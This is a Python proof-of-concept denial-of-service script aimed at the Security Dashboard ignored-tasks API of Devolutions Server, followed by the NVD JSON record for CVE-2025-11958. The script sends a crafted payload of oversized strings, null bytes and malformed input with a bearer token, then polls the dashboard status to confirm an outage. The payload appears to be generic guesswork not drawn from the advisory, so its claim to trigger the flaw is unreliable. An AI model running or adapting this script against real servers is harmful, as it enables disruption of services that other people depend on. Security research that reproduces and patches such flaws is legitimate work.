CVE-2025-11958

# CVE-2025-11958 PoC - Devolutions Server Security Dashboard DoS # Target: Devolutions Server < 2025.2.15.0 # Attack Type: Denial of Service via Improper Input Validation import requests import json TARGET_URL = "https://target-server/api/security-dashboard/ignored-tasks" AUTH_TOKEN = "<your-authentication-token>" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious payload exploiting improper input validation malicious_payload = { "task_ids": [ "A" * 100000, # Excessive length input "\x00\x00\x00", # Null bytes "{{{{}}}}]", # Malformed JSON-like input "\n\r\t" * 1000 # Excessive whitespace ], "action": "add", "force": True } try: print("[*] Sending malicious request to trigger DoS condition...") response = requests.post(TARGET_URL, headers=headers, json=malicious_payload, timeout=30) if response.status_code in [200, 201, 500, 502, 503]: print("[+] Request sent - Service may be affected") print(f"[*] Response status: {response.status_code}") else: print(f"[*] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Verify DoS condition verify_url = "https://target-server/api/security-dashboard/status" try: status_response = requests.get(verify_url, headers=headers, timeout=10) if status_response.status_code != 200: print("[+] DoS condition confirmed - Dashboard unavailable") except: print("[+] DoS condition confirmed - Cannot connect to dashboard")

{"cve": {"id": "CVE-2025-11958", "sourceIdentifier": "[email protected]", "published": "2025-10-22T17:15:56.970", "lastModified": "2025-11-25T18:15:49.593", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper input validation in the Security Dashboard ignored-tasks API of Devolutions Server 2025.2.15.0 and earlier allows an authenticated user to cause a denial of service to the Security Dashboard via a crafted request."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.15.0", "matchCriteriaId": "B4CE6483-C781-4797-923A-6961D75B2452"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2025-0015/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}